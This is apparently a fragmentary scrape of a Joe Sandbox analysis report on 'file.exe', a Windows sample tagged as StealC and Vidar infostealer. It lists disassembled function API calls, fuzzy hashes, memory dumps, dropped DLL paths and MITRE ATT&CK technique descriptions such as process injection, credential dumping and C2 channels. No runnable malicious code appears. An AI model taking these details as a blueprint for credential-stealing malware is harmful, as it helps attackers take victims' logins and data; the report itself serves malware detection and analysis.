Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 708b2b6cbc71d8aeaaacb75f429eab8c2f7626cf1d10b3ed8d96786599e50b93
Instruction ID: 7f808b13a19892795ce522b15226608ec75e87a9df3877a6c66f590f3bbc013e
Opcode Fuzzy Hash: 708b2b6cbc71d8aeaaacb75f429eab8c2f7626cf1d10b3ed8d96786599e50b93
Instruction Fuzzy Hash: D14102B16442268FEB14CF68D8A036A73B2FB46308F184939D55ADB740E735EC85CB92

Function 6CA36E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CA36EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CA36EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA36F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA36F5C

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: ba977826c301756afbf075314d425a6b273baf78c42732b3ff2ac723f2eb638a
Instruction ID: d5ee2c0c1d19a46404cccdba33b3f463201b2c9999f96df610219bcdd33ecbfc
Opcode Fuzzy Hash: ba977826c301756afbf075314d425a6b273baf78c42732b3ff2ac723f2eb638a
Instruction Fuzzy Hash: B631E571A1061A8FDB04CF2DCD906AA73F9FB84344F648139D41AC7751EB31E699C790

Function 6CA4B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C9F0A4D), ref: 6CA4B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C9F0A4D), ref: 6CA4B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C9F0A4D), ref: 6CA4B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C9F0A4D), ref: 6CA4B67F

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 23b25c08f537eb7283a2d4fd00c92a7a8a710f18da8ab909aa1a4aef54e3b69e
Instruction ID: 20574c56e9e91daac8ceec9a884e906fe7ecb9d9ac4efec8c355fd698d52a81b
Opcode Fuzzy Hash: 23b25c08f537eb7283a2d4fd00c92a7a8a710f18da8ab909aa1a4aef54e3b69e
Instruction Fuzzy Hash: 9431F471A006168FDB14DF59D8446AEFBB6FF80304F1AC629C8069B201DB31E956CBA0

Function 6CA1F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA1F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA1F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA1F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA1F668

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: a061357e54526e396e81da39a529eb78b428699ff17d9105ebe3fa449e8a1f9f
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 2C316171A042549FC714CF1DCDC4A9BB7B9EB88368B18853CFA498BF08D631E9848B90

Function 6CA326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA326C1
free.MOZGLUE(?), ref: 6CA326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA326FF
free.MOZGLUE ref: 6CA3270D

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1b488c990870002f22a508d1c2a1412c2d989844c67b34fa1a8778e7020629cb
Instruction ID: e9a3d6dd69c4521619cef0b159d2b06105bf46df17e44b80266ec6fa2e68df7c
Opcode Fuzzy Hash: 1b488c990870002f22a508d1c2a1412c2d989844c67b34fa1a8778e7020629cb
Instruction Fuzzy Hash: D1F0F9B27012115BEB009E59E888997B3A9FF4125CB154135EA1EC3B03E331F999C6D5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFHCGIDBAAFHIDHDAAE

C:\ProgramData\DGHCBAAEHCFIDGDHJEHCBGCGDB

C:\ProgramData\EGCBFIEHIEGCAAAKKKKE

C:\ProgramData\FBFCFIEB

C:\ProgramData\FBKFCFBFIDGCGDHJDBKF

C:\ProgramData\IDAKJKEHDBGHIDHIEHDBAAFHJK

C:\ProgramData\IJKJJKFH

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre